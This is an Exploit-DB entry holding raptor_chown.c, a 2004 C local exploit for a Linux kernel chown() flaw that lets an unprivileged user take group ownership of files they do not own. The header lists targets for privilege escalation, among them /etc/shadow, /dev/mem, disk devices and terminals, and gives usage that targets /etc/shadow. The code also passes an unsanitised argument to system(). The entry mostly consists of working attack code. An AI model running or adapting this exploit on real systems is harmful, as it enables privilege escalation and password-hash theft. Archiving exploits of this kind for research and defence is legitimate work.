Linux Kernel 2.6.x - chown Group Ownership Alteration Exploit

2004-12-24T00:00:00
ID EDB-ID:718
Type exploitdb
Reporter Marco Ivaldi
Modified 2004-12-24T00:00:00

Description

Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit. Local exploit for linux platform

                                        
                                            /*
 * $Id: raptor_chown.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
 *
 * raptor_chown.c - sys_chown missing DAC controls on Linux
 * Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Unknown vulnerability in Linux kernel 2.x may allow local users to 
 * modify the group ID of files, such as NFS exported files in kernel 
 * 2.4 (CAN-2004-0497).
 *
 * "Basically, you can change the group of a file you don't own, but not
 * of an SGID executable." -- Solar Designer (0dd)
 *
 * On Linux 2.6.x < 2.6.7-rc3 it's possible to change the group of files you 
 * don't own, even on local filesystems. This may allow a local attacker to 
 * perform a privilege escalation, e.g. through the following attack vectors:
 *
 * 1) 	Target /etc/shadow: on some distros (namely slackware 9.1 and debian
 *	3.0, probably others) the shadow group has read access to it.
 * 2)	Target /dev/mem, /dev/kmem: read arbitrary memory contents.
 * 3)	Target /dev/hd*, /dev/sd*: read arbitrary data stored on disks.
 * 4)	Target /dev/tty*, /dev/pts*: snoop/execute arbitrary commands.
 *
 * Usage:
 * $ gcc raptor_chown.c -o raptor_chown -Wall
 * $ ./raptor_chown /etc/shadow
 * [...]
 * -rw-r-----    1 root     users         500 Mar 25 12:27 /etc/shadow
 *
 * Vulnerable platforms:
 * Linux 2.2.x (on nfs exported files, should be vuln) [untested]
 * Linux 2.4.x < 2.4.27-rc3 (on nfs exported files) [tested]
 * Linux 2.6.x < 2.6.7-rc3 (default configuration) [tested]
 */

#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

#define	INFO1	"raptor_chown.c - sys_chown missing DAC controls on Linux"
#define	INFO2	"Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"

int main(int argc, char **argv)
{
	char 	cmd[256];

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* read command line */
	if (argc != 2) {
		fprintf(stderr, "usage: %s file_name\n\n", argv[0]);
		exit(1);
	}
                
	/* ninpou: sys_chown no jutsu! */
	if (chown(argv[1], -1, getgid()) < 0) {
		switch(errno) {
			case EPERM:
				fprintf(stderr, "Error: Not vulnerable!\n");
				break;
			default:
				perror("Error");
		}
        	exit(1);
	}
	fprintf(stderr, "Ninpou: sys_chown no jutsu!\n");

	/* print some output */
	sprintf(cmd, "/bin/ls -l %s", argv[1]);
	system(cmd);

	exit(0);
}

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